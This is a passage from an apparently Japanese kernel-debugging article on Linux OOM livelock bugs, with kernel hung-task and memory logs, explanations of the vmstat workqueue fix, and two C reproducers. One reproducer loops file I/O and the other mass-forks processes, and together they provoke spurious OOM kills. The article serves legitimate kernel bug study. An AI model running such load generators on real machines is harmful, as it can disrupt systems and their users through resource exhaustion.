[   74.570182]  [<ffffffff8114236c>] handle_mm_fault+0x163c/0x2280
[   74.572131]  [<ffffffff815d8fc9>] ? __schedule+0x1c9/0x590
[   74.574015]  [<ffffffff810497bd>] __do_page_fault+0x19d/0x510
[   74.575898]  [<ffffffff81049b51>] do_page_fault+0x21/0x70
[   74.577656]  [<ffffffff8100259d>] ? do_syscall_64+0xed/0xf0
[   74.579503]  [<ffffffff815de9b2>] page_fault+0x22/0x30
[  240.447847] INFO: task oom_reaper:47 blocked for more than 120 seconds.
[  240.450075]       Not tainted 4.7.0-rc5 #57
[  240.451571] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  240.453723] oom_reaper      D ffff88007cdb3ce8     0    47      2 0x00000000
[  240.455892]  ffff88007cdb3ce8 ffff88007cdb3d10 ffff88007cdb4000 ffffffff8183f824
[  240.458302]  ffff88007cce6a00 00000000ffffffff ffffffff8183f828 ffff88007cdb3d00
[  240.460546]  ffffffff815d93ca ffffffff8183f820 ffff88007cdb3d10 ffffffff815d9783
[  240.462840] Call Trace:
[  240.463963]  [<ffffffff815d93ca>] schedule+0x3a/0x90
[  240.465586]  [<ffffffff815d9783>] schedule_preempt_disabled+0x13/0x20
[  240.467430]  [<ffffffff815db2e0>] __mutex_lock_slowpath+0xa0/0x150
[  240.469236]  [<ffffffff815db3a2>] mutex_lock+0x12/0x22
[  240.470843]  [<ffffffff81117eba>] __oom_reap_task+0x6a/0x1e0
[  240.472730]  [<ffffffff8107fc8e>] ? finish_task_switch+0x1be/0x220
[  240.476670]  [<ffffffff8108041e>] ? preempt_count_add+0x9e/0xb0
[  240.478486]  [<ffffffff815dd028>] ? _raw_spin_lock_irqsave+0x18/0x40
[  240.480660]  [<ffffffff811183f6>] oom_reaper+0x86/0x170
[  240.482313]  [<ffffffff8109b400>] ? prepare_to_wait_event+0xf0/0xf0
[  240.484137]  [<ffffffff81118370>] ? exit_oom_victim+0x50/0x50
[  240.485837]  [<ffffffff8107b5e3>] kthread+0xd3/0xf0
[  240.487417]  [<ffffffff815dd50f>] ret_from_fork+0x1f/0x40
[  240.489090]  [<ffffffff8107b510>] ? kthread_create_on_node+0x1a0/0x1a0
[  299.096125] Mem-Info:
[  299.097266] active_anon:392824 inactive_anon:2094 isolated_anon:0
[  299.097266]  active_file:0 inactive_file:0 isolated_file:0
[  299.097266]  unevictable:0 dirty:0 writeback:0 unstable:0
[  299.097266]  slab_reclaimable:1744 slab_unreclaimable:10750
[  299.097266]  mapped:369 shmem:2160 pagetables:2098 bounce:0
[  299.097266]  free:12955 free_pcp:159 free_cma:0
[  341.098578] Node 0 DMA free:7260kB min:404kB low:504kB high:604kB active_anon:6708kB inactive_anon:108kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15988kB managed:15904kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:108kB slab_reclaimable:20kB slab_unreclaimable:408kB kernel_stack:688kB pagetables:432kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:20 all_unreclaimable? yes
[  360.494674] INFO: task oom_reaper:47 blocked for more than 120 seconds.
[  360.494675]       Not tainted 4.7.0-rc5 #57
[  360.494676] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  360.494678] oom_reaper      D ffff88007cdb3ce8     0    47      2 0x00000000
[  360.494680]  ffff88007cdb3ce8 ffff88007cdb3d10 ffff88007cdb4000 ffffffff8183f824
[  360.494681]  ffff88007cce6a00 00000000ffffffff ffffffff8183f828 ffff88007cdb3d00
[  360.494682]  ffffffff815d93ca ffffffff8183f820 ffff88007cdb3d10 ffffffff815d9783
[  360.494683] Call Trace:
[  360.494689]  [<ffffffff815d93ca>] schedule+0x3a/0x90
[  360.494690]  [<ffffffff815d9783>] schedule_preempt_disabled+0x13/0x20
[  360.494691]  [<ffffffff815db2e0>] __mutex_lock_slowpath+0xa0/0x150
[  360.494693]  [<ffffffff815db3a2>] mutex_lock+0x12/0x22
[  360.494695]  [<ffffffff81117eba>] __oom_reap_task+0x6a/0x1e0
[  360.494697]  [<ffffffff8107fc8e>] ? finish_task_switch+0x1be/0x220
[  360.494698]  [<ffffffff8108041e>] ? preempt_count_add+0x9e/0xb0
[  360.494700]  [<ffffffff815dd028>] ? _raw_spin_lock_irqsave+0x18/0x40
[  360.494701]  [<ffffffff811183f6>] oom_reaper+0x86/0x170
[  360.494703]  [<ffffffff8109b400>] ? prepare_to_wait_event+0xf0/0xf0
[  360.494705]  [<ffffffff81118370>] ? exit_oom_victim+0x50/0x50
[  360.494706]  [<ffffffff8107b5e3>] kthread+0xd3/0xf0
[  360.494708]  [<ffffffff815dd50f>] ret_from_fork+0x1f/0x40
[  360.494709]  [<ffffffff8107b510>] ? kthread_create_on_node+0x1a0/0x1a0
[  391.435178] BUG: workqueue lockup - pool cpus=3 node=0 flags=0x0 nice=0 stuck for 86s!
[  391.435180] Showing busy workqueues and worker pools:
[  391.435181] workqueue events: flags=0x0
[  391.435186]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=2/256
[  391.435196]     pending: vmpressure_work_fn, vmstat_shepherd
[  391.435200] workqueue events_freezable_power_: flags=0x84
[  391.435201]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[  391.435205]     in-flight: 30:disk_events_workfn
[  391.435226] workqueue xfs-eofblocks/sda1: flags=0xc
[  391.435227]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=1/256
[  391.435231]     in-flight: 72:xfs_eofblocks_worker
[  391.435234] pool 4: cpus=2 node=0 flags=0x0 nice=0 hung=0s workers=4 idle: 7916 214 105
[  391.435236] pool 6: cpus=3 node=0 flags=0x0 nice=0 hung=86s workers=2 manager: 77
[  421.515615] BUG: workqueue lockup - pool cpus=3 node=0 flags=0x0 nice=0 stuck for 116s!
[  421.515617] Showing busy workqueues and worker pools:
[  421.515618] workqueue events: flags=0x0
[  421.515620]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=2/256
[  421.515627]     pending: vmpressure_work_fn, vmstat_shepherd
[  421.515631] workqueue events_power_efficient: flags=0x80
[  421.515633]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=1/256
[  421.515636]     pending: check_lifetime
[  421.515637] workqueue events_freezable_power_: flags=0x84
[  421.515638]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[  421.515641]     in-flight: 30:disk_events_workfn
[  421.515657] workqueue xfs-eofblocks/sda1: flags=0xc
[  421.515659]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=1/256
[  421.515662]     in-flight: 72:xfs_eofblocks_worker
[  421.515666] pool 4: cpus=2 node=0 flags=0x0 nice=0 hung=0s workers=4 idle: 7916 214 105
[  421.515667] pool 6: cpus=3 node=0 flags=0x0 nice=0 hung=116s workers=2 manager: 77
[  451.596127] BUG: workqueue lockup - pool cpus=3 node=0 flags=0x0 nice=0 stuck for 146s!
[  451.596129] Showing busy workqueues and worker pools:
[  451.596130] workqueue events: flags=0x0
[  451.596151]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=2/256
[  451.596158]     pending: vmpressure_work_fn, vmstat_shepherd
[  451.596162] workqueue events_power_efficient: flags=0x80
[  451.596163]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=1/256
[  451.596166]     pending: check_lifetime
[  451.596167] workqueue events_freezable_power_: flags=0x84
[  451.596168]   pwq 4: cpus=2 node=0 flags=0x0 nice=0 active=1/256
[  451.596172]     in-flight: 30:disk_events_workfn
[  451.596187] workqueue xfs-eofblocks/sda1: flags=0xc
[  451.596188]   pwq 6: cpus=3 node=0 flags=0x0 nice=0 active=1/256
[  451.596191]     in-flight: 72:xfs_eofblocks_worker
[  451.596194] pool 4: cpus=2 node=0 flags=0x0 nice=0 hung=0s workers=4 idle: 7916 214 105
[  451.596196] pool 6: cpus=3 node=0 flags=0x0 nice=0 hung=146s workers=2 manager: 77
[  480.496878] INFO: task oom_reaper:47 blocked for more than 120 seconds.
[  480.496879]       Not tainted 4.7.0-rc5 #57
[  480.496880] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  480.496883] oom_reaper      D ffff88007cdb3ce8     0    47      2 0x00000000
[  480.496885]  ffff88007cdb3ce8 ffff88007cdb3d10 ffff88007cdb4000 ffffffff8183f824
[  480.496886]  ffff88007cce6a00 00000000ffffffff ffffffff8183f828 ffff88007cdb3d00
[  480.496887]  ffffffff815d93ca ffffffff8183f820 ffff88007cdb3d10 ffffffff815d9783
[  480.496888] Call Trace:
[  480.496893]  [<ffffffff815d93ca>] schedule+0x3a/0x90
[  480.496895]  [<ffffffff815d9783>] schedule_preempt_disabled+0x13/0x20
[  480.496896]  [<ffffffff815db2e0>] __mutex_lock_slowpath+0xa0/0x150
[  480.496897]  [<ffffffff815db3a2>] mutex_lock+0x12/0x22
[  480.496900]  [<ffffffff81117eba>] __oom_reap_task+0x6a/0x1e0
[  480.496904]  [<ffffffff8107fc8e>] ? finish_task_switch+0x1be/0x220
[  480.496905]  [<ffffffff8108041e>] ? preempt_count_add+0x9e/0xb0
[  480.496907]  [<ffffffff815dd028>] ? _raw_spin_lock_irqsave+0x18/0x40
[  480.496908]  [<ffffffff811183f6>] oom_reaper+0x86/0x170
[  480.496911]  [<ffffffff8109b400>] ? prepare_to_wait_event+0xf0/0xf0
[  480.496912]  [<ffffffff81118370>] ? exit_oom_victim+0x50/0x50
[  480.496915]  [<ffffffff8107b5e3>] kthread+0xd3/0xf0
[  480.496917]  [<ffffffff815dd50f>] ret_from_fork+0x1f/0x40
[  480.496918]  [<ffffffff8107b510>] ? kthread_create_on_node+0x1a0/0x1a0
( invoked oom-killer: という行が出力されてから既に7分が経過したものの、未だに Out of memory: Kill process という行が出力されていないことに注目してください。)
---------- 実行結果例 ここまで ----------

2015年10月 vmstat_update が実行されずに、 OOM killer を発動できない問題

メモリの割り当て/解放処理は、非常に頻繁に発生する処理です。また、 Linux はCPUを1個しか搭載していない環境から数千個搭載した環境まで使われることを想定しています。メモリの使用状況( vmstat )を管理する際に、グローバル変数を用いて排他制御を行いながら更新すると、パフォーマンス上の問題が発生します。そのため、普段はCPU毎にメモリの使用状況を管理し、定期的または必要になったときに同期をとるという方法を採用することで、パフォーマンス上の問題を回避しています。そして、定期的な同期をとる際には、 system_wq というワークキューに対して vmstat_update というリクエストをします。

しかし、ワークキューが他のリクエストを処理している間は、 vmstat_update のリクエストは処理できません。その結果、あるリクエストがメモリ割り当て要求を行っていた場合、ワークキューに入れられた vmstat_update のリクエストが永遠に処理されないことで統計情報が永遠に更新されず、メモリ割り当て要求は古い統計情報の内容と The "too small to fail" memory-allocation rule に基づいて永遠にリトライされてしまいます。その結果、 OOM killer を発動できないまま無限ループに陥るという状況が発生していました。

---------- 実行結果例 ここから ----------
[  271.579276] MemAlloc: kworker/0:56(7399) gfp=0x2400000 order=0 delay=129294
[  271.581237]  ffff88007c78fa08 ffff8800778f8c80 ffff88007c790000 ffff8800778f8c80
[  271.583329]  0000000002400000 0000000000000000 ffff8800778f8c80 ffff88007c78fa20
[  271.585391]  ffffffff8162aa9d 0000000000000001 ffff88007c78fa30 ffffffff8162aac7
[  271.587463] Call Trace:
[  271.588512]  [<ffffffff8162aa9d>] preempt_schedule_common+0x18/0x2b
[  271.590243]  [<ffffffff8162aac7>] _cond_resched+0x17/0x20
[  271.591830]  [<ffffffff8111fafe>] __alloc_pages_nodemask+0x64e/0xcc0
[  271.593561]  [<ffffffff8116a3b2>] ? __kmalloc+0x22/0x190
[  271.595119]  [<ffffffff81160ce7>] alloc_pages_current+0x87/0x110
[  271.596778]  [<ffffffff812e95f4>] bio_copy_kern+0xc4/0x180
[  271.598342]  [<ffffffff810a6a00>] ? wait_woken+0x80/0x80
[  271.599878]  [<ffffffff812f25f0>] blk_rq_map_kern+0x70/0x130
[  271.601481]  [<ffffffff812ece35>] ? blk_get_request+0x75/0xe0
[  271.603100]  [<ffffffff814433fd>] scsi_execute+0x12d/0x160
[  271.604657]  [<ffffffff81443524>] scsi_execute_req_flags+0x84/0xf0
[  271.606339]  [<ffffffffa01db742>] sr_check_events+0xb2/0x2a0 [sr_mod]
[  271.608141]  [<ffffffff8109cbfc>] ? set_next_entity+0x6c/0x6a0
[  271.609830]  [<ffffffffa01cf163>] cdrom_check_events+0x13/0x30 [cdrom]
[  271.611610]  [<ffffffffa01dbb85>] sr_block_check_events+0x25/0x30 [sr_mod]
[  271.613429]  [<ffffffff812fc7eb>] disk_check_events+0x5b/0x150
[  271.615065]  [<ffffffff812fc8f1>] disk_events_workfn+0x11/0x20
[  271.616699]  [<ffffffff810827c5>] process_one_work+0x135/0x310
[  271.618321]  [<ffffffff81082abb>] worker_thread+0x11b/0x4a0
[  271.620018]  [<ffffffff810829a0>] ? process_one_work+0x310/0x310
[  271.622022]  [<ffffffff81087e53>] kthread+0xd3/0xf0
[  271.623533]  [<ffffffff81087d80>] ? kthread_create_on_node+0x1a0/0x1a0
[  271.625487]  [<ffffffff8162f09f>] ret_from_fork+0x3f/0x70
[  271.627175]  [<ffffffff81087d80>] ? kthread_create_on_node+0x1a0/0x1a0
---------- 実行結果例 ここまで ----------

上記の kmallocwd の出力は、 GFP_NOIO なメモリ割り当て要求を行っているワークキューが、メモリ割り当て要求の開始からこれまでに129秒の間、リトライを繰り返している状況を示しています。熊猫がいろいろな OOM livelock 状態を再現させてきた経験から判断すると、上記のように disk_events_workfn() 関数内から __alloc_pages_nodemask() 関数が呼び出されている状況が続いている場合、システムは既に OOM livelock 状態に陥っているため待ち続けても意味が無いものと推定されます。(想定環境で /dev/sr0 として認識される CD-ROM ドライブが必要と書いたのは、 CD-ROM ドライブを管理する処理が定期的に GFP_NOIO なメモリ割り当て要求を発生させることで上記のような出力を得るためです。)

この事象は、 SysRq-f による OOM killer が発動できないのと同様の原因です。便利屋として動いてくれるワークキューが全員手が離せないという状況になった時の挙動を想像するのは難しいです。各ワークに専属のワークキューを割り当てれば、いつまでも処理されないという問題は回避できますが、リソースの無駄遣いになります。

この不具合を放置する訳にはいかないため、 vmstat に対して専属のワークキューを割り当てるという対処が行われました。具体的には、 commit 373ccbe5927034b5 ("mm, vmstat: allow WQ concurrency to discover memory reclaim doesn't make any progress")commit 751e5f5c753e8d44 ("vmstat: allocate vmstat_wq before it is used")commit 564e81a57f9788b1 ("mm, vmstat: fix wrong WQ sleep when memory reclaim doesn't make any progress") というパッチで修正されました。なお、この不具合は RHEL 6/7 にも影響します。

2015年12月 OOM detection rework のフィードバックが楽観的過ぎた問題

これは、上述した vmstat_update の問題と同時に発見された問題です。メモリの回収処理を永遠にリトライすることで OOM livelock 状態に陥るのを避けるために、リトライするかどうかの判断を段階的に厳しくしていくという修正が行われました。その過程で、メモリ負荷をかけずともファイルI/Oを繰り返しているだけで拙速な OOM killer が乱発することが発覚しました。

---------- fileio2.c ----------
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>

int main(int argc, char *argv[])
{
        int i;
        static char buffer[4096];
        signal(SIGCHLD, SIG_IGN);
        for (i = 0; i < 2; i++) {
                int fd;
                int j;
                snprintf(buffer, sizeof(buffer), "/tmp/file.%u", i);
                fd = open(buffer, O_RDWR | O_CREAT, 0600);
                memset(buffer, 0, sizeof(buffer));
                for (j = 0; j < 1048576 * 1000 / 4096; j++) /* 1000 is MemTotal / 2 */
                        write(fd, buffer, sizeof(buffer));
                close(fd);
        }
        for (i = 0; i < 2; i++) {
                if (fork() == 0) {
                        int fd;
                        snprintf(buffer, sizeof(buffer), "/tmp/file.%u", i);
                        fd = open(buffer, O_RDWR);
                        memset(buffer, 0, sizeof(buffer));
                        while (fd != EOF) {
                                lseek(fd, 0, SEEK_SET);
                                while (read(fd, buffer, sizeof(buffer)) == sizeof(buffer));
                        }
                        _exit(0);
                }
        }
        if (fork() == 0) {
                execl("./fork", "./fork", NULL);
                _exit(1);
        }
        if (fork() == 0) {
                sleep(1);
                execl("./fork", "./fork", NULL);
                _exit(1);
        }
        while (1)
                system("pidof fork | wc");
        return 0;
}
---------- fileio2.c ----------
---------- fork.c ----------
#include <unistd.h>
#include <signal.h>

int main(int argc, char *argv[])
{
        int i;
        signal(SIGCHLD, SIG_IGN);
        while (1) {
                sleep(5);
                for (i = 0; i < 2000; i++) {
                        if (fork() == 0) {
                                sleep(3);
                                _exit(0);
                        }
                }
        }
}
---------- fork.c ----------
---------- 実行結果例 ここから ----------
[  277.863985] Node 0 DMA32 free:20128kB min:5564kB low:6952kB high:8344kB active_anon:108332kB inactive_anon:8252kB active_file:985160kB inactive_file:615436kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:5904kB shmem:8524kB slab_reclaimable:52088kB slab_unreclaimable:59748kB kernel_stack:31280kB pagetables:55708kB unstable:0kB bounce:0kB free_pcp:1056kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  277.884512] Node 0 DMA32: 3438*4kB (UME) 791*8kB (UME) 3*16kB (UM) 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 20128kB
[  291.331040] Node 0 DMA32 free:29500kB min:5564kB low:6952kB high:8344kB active_anon:126756kB inactive_anon:8252kB active_file:821500kB inactive_file:604016kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:0kB writeback:0kB mapped:12684kB shmem:8524kB slab_reclaimable:56808kB slab_unreclaimable:99804kB kernel_stack:58448kB pagetables:92552kB unstable:0kB bounce:0kB free_pcp:2004kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  291.349097] Node 0 DMA32: 4221*4kB (UME) 1971*8kB (UME) 436*16kB (UME) 141*32kB (UME) 8*64kB (UM) 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 44652kB
[  302.897985] Node 0 DMA32 free:28240kB min:5564kB low:6952kB high:8344kB active_anon:79344kB inactive_anon:8248kB active_file:1016568kB inactive_file:604696kB unevictable:0kB isolated(anon):0kB isolated(file):120kB present:2080640kB managed:2021100kB mlocked:0kB dirty:80kB writeback:0kB mapped:13004kB shmem:8520kB slab_reclaimable:52076kB slab_unreclaimable:64064kB kernel_stack:35168kB pagetables:48552kB unstable:0kB bounce:0kB free_pcp:1384kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  302.916334] Node 0 DMA32: 4304*4kB (UM) 1181*8kB (UME) 59*16kB (UME) 7*32kB (ME) 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 27832kB
[  311.014501] Node 0 DMA32 free:22820kB min:5564kB low:6952kB high:8344kB active_anon:56852kB inactive_anon:11976kB active_file:1142936kB inactive_file:582040kB unevictable:0kB isolated(anon):0kB isolated(file):116kB present:2080640kB managed:2021100kB mlocked:0kB dirty:160kB writeback:0kB mapped:10796kB shmem:16640kB slab_reclaimable:48608kB slab_unreclaimable:41912kB kernel_stack:16560kB pagetables:30876kB unstable:0kB bounce:0kB free_pcp:948kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:128 all_unreclaimable? no
[  311.034251] Node 0 DMA32: 6*4kB (U) 2401*8kB (ME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 19232kB
[  314.293371] Node 0 DMA32 free:15244kB min:5564kB low:6952kB high:8344kB active_anon:82496kB inactive_anon:11976kB active_file:1110984kB inactive_file:467400kB unevictable:0kB isolated(anon):0kB isolated(file):88kB present:2080640kB managed:2021100kB mlocked:0kB dirty:4kB writeback:0kB mapped:9440kB shmem:16640kB slab_reclaimable:53684kB slab_unreclaimable:72536kB kernel_stack:40048kB pagetables:67672kB unstable:0kB bounce:0kB free_pcp:1076kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:12 all_unreclaimable? no
[  314.314336] Node 0 DMA32: 1180*4kB (UM) 1449*8kB (UME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 16312kB
[  322.774181] Node 0 DMA32 free:19780kB min:5564kB low:6952kB high:8344kB active_anon:68264kB inactive_anon:17816kB active_file:1155724kB inactive_file:470216kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:8kB writeback:0kB mapped:9744kB shmem:24708kB slab_reclaimable:52540kB slab_unreclaimable:63216kB kernel_stack:32464kB pagetables:51856kB unstable:0kB bounce:0kB free_pcp:1076kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  322.796256] Node 0 DMA32: 86*4kB (UME) 2474*8kB (UME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 20136kB
[  330.804341] Node 0 DMA32 free:22076kB min:5564kB low:6952kB high:8344kB active_anon:47616kB inactive_anon:17816kB active_file:1063272kB inactive_file:685848kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:216kB writeback:0kB mapped:9708kB shmem:24708kB slab_reclaimable:48536kB slab_unreclaimable:36844kB kernel_stack:12048kB pagetables:25992kB unstable:0kB bounce:0kB free_pcp:776kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  330.826190] Node 0 DMA32: 1637*4kB (UM) 1354*8kB (UME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 17380kB
[  332.828224] Node 0 DMA32 free:15544kB min:5564kB low:6952kB high:8344kB active_anon:63184kB inactive_anon:17784kB active_file:1215752kB inactive_file:468872kB unevictable:0kB isolated(anon):0kB isolated(file):68kB present:2080640kB managed:2021100kB mlocked:0kB dirty:312kB writeback:0kB mapped:9116kB shmem:24708kB slab_reclaimable:49912kB slab_unreclaimable:50068kB kernel_stack:21600kB pagetables:42384kB unstable:0kB bounce:0kB free_pcp:1364kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  332.846805] Node 0 DMA32: 4108*4kB (UME) 897*8kB (ME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 23608kB
[  341.054731] Node 0 DMA32 free:20512kB min:5564kB low:6952kB high:8344kB active_anon:76796kB inactive_anon:23792kB active_file:1053836kB inactive_file:618588kB unevictable:0kB isolated(anon):0kB isolated(file):96kB present:2080640kB managed:2021100kB mlocked:0kB dirty:1656kB writeback:0kB mapped:19768kB shmem:32784kB slab_reclaimable:49000kB slab_unreclaimable:47636kB kernel_stack:21664kB pagetables:37188kB unstable:0kB bounce:0kB free_pcp:0kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  341.073722] Node 0 DMA32: 3309*4kB (UM) 1124*8kB (UM) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 22228kB
[  360.075472] Node 0 DMA32 free:17856kB min:5564kB low:6952kB high:8344kB active_anon:117872kB inactive_anon:25588kB active_file:1022532kB inactive_file:466856kB unevictable:0kB isolated(anon):0kB isolated(file):116kB present:2080640kB managed:2021100kB mlocked:0kB dirty:420kB writeback:0kB mapped:25300kB shmem:40976kB slab_reclaimable:57804kB slab_unreclaimable:79416kB kernel_stack:46784kB pagetables:78044kB unstable:0kB bounce:0kB free_pcp:1100kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  360.093794] Node 0 DMA32: 2719*4kB (UM) 97*8kB (UM) 14*16kB (UM) 37*32kB (UME) 27*64kB (UME) 3*128kB (UM) 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 15172kB
[  368.853099] Node 0 DMA32 free:22524kB min:5564kB low:6952kB high:8344kB active_anon:79156kB inactive_anon:24876kB active_file:872972kB inactive_file:738900kB unevictable:0kB isolated(anon):0kB isolated(file):96kB present:2080640kB managed:2021100kB mlocked:0kB dirty:0kB writeback:0kB mapped:25708kB shmem:40976kB slab_reclaimable:50820kB slab_unreclaimable:62880kB kernel_stack:32048kB pagetables:49656kB unstable:0kB bounce:0kB free_pcp:524kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  368.871173] Node 0 DMA32: 5042*4kB (UM) 248*8kB (UM) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 22152kB
[  379.261759] Node 0 DMA32 free:15888kB min:5564kB low:6952kB high:8344kB active_anon:89928kB inactive_anon:23780kB active_file:1295512kB inactive_file:358284kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:1608kB writeback:0kB mapped:25376kB shmem:40976kB slab_reclaimable:47972kB slab_unreclaimable:50848kB kernel_stack:22320kB pagetables:42360kB unstable:0kB bounce:0kB free_pcp:248kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  379.279344] Node 0 DMA32: 2994*4kB (ME) 503*8kB (UM) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 16000kB
[  387.367409] Node 0 DMA32 free:15320kB min:5564kB low:6952kB high:8344kB active_anon:76364kB inactive_anon:28712kB active_file:1061180kB inactive_file:596956kB unevictable:0kB isolated(anon):0kB isolated(file):120kB present:2080640kB managed:2021100kB mlocked:0kB dirty:20kB writeback:0kB mapped:27700kB shmem:49168kB slab_reclaimable:51236kB slab_unreclaimable:51096kB kernel_stack:22912kB pagetables:40920kB unstable:0kB bounce:0kB free_pcp:700kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  387.385740] Node 0 DMA32: 3638*4kB (UM) 115*8kB (UM) 1*16kB (U) 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 15488kB
[  391.207543] Node 0 DMA32 free:15224kB min:5564kB low:6952kB high:8344kB active_anon:115956kB inactive_anon:28392kB active_file:1117532kB inactive_file:359656kB unevictable:0kB isolated(anon):0kB isolated(file):116kB present:2080640kB managed:2021100kB mlocked:0kB dirty:0kB writeback:0kB mapped:29348kB shmem:49168kB slab_reclaimable:56028kB slab_unreclaimable:85168kB kernel_stack:48592kB pagetables:81620kB unstable:0kB bounce:0kB free_pcp:1124kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:356 all_unreclaimable? no
[  391.228084] Node 0 DMA32: 3374*4kB (UME) 221*8kB (M) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 15264kB
[  395.663881] Node 0 DMA32 free:12820kB min:5564kB low:6952kB high:8344kB active_anon:98924kB inactive_anon:27520kB active_file:1105780kB inactive_file:494760kB unevictable:0kB isolated(anon):4kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:1412kB writeback:12kB mapped:29588kB shmem:49168kB slab_reclaimable:49836kB slab_unreclaimable:60524kB kernel_stack:32176kB pagetables:50356kB unstable:0kB bounce:0kB free_pcp:1500kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:388 all_unreclaimable? no
[  395.683137] Node 0 DMA32: 3794*4kB (ME) 0*8kB 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 15176kB
[  399.871655] Node 0 DMA32 free:18432kB min:5564kB low:6952kB high:8344kB active_anon:99156kB inactive_anon:26780kB active_file:1150532kB inactive_file:408872kB unevictable:0kB isolated(anon):68kB isolated(file):80kB present:2080640kB managed:2021100kB mlocked:0kB dirty:3492kB writeback:0kB mapped:30924kB shmem:49168kB slab_reclaimable:54236kB slab_unreclaimable:68184kB kernel_stack:37392kB pagetables:63708kB unstable:0kB bounce:0kB free_pcp:784kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  399.890082] Node 0 DMA32: 4155*4kB (UME) 200*8kB (ME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 18220kB
[  408.447006] Node 0 DMA32 free:12684kB min:5564kB low:6952kB high:8344kB active_anon:74296kB inactive_anon:25960kB active_file:1086404kB inactive_file:605660kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2080640kB managed:2021100kB mlocked:0kB dirty:264kB writeback:0kB mapped:30604kB shmem:49168kB slab_reclaimable:50200kB slab_unreclaimable:45212kB kernel_stack:19184kB pagetables:34500kB unstable:0kB bounce:0kB free_pcp:740kB local_pcp:0kB free_cma:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? no
[  408.465169] Node 0 DMA32: 2804*4kB (ME) 203*8kB (UME) 0*16kB 0*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 12840kB
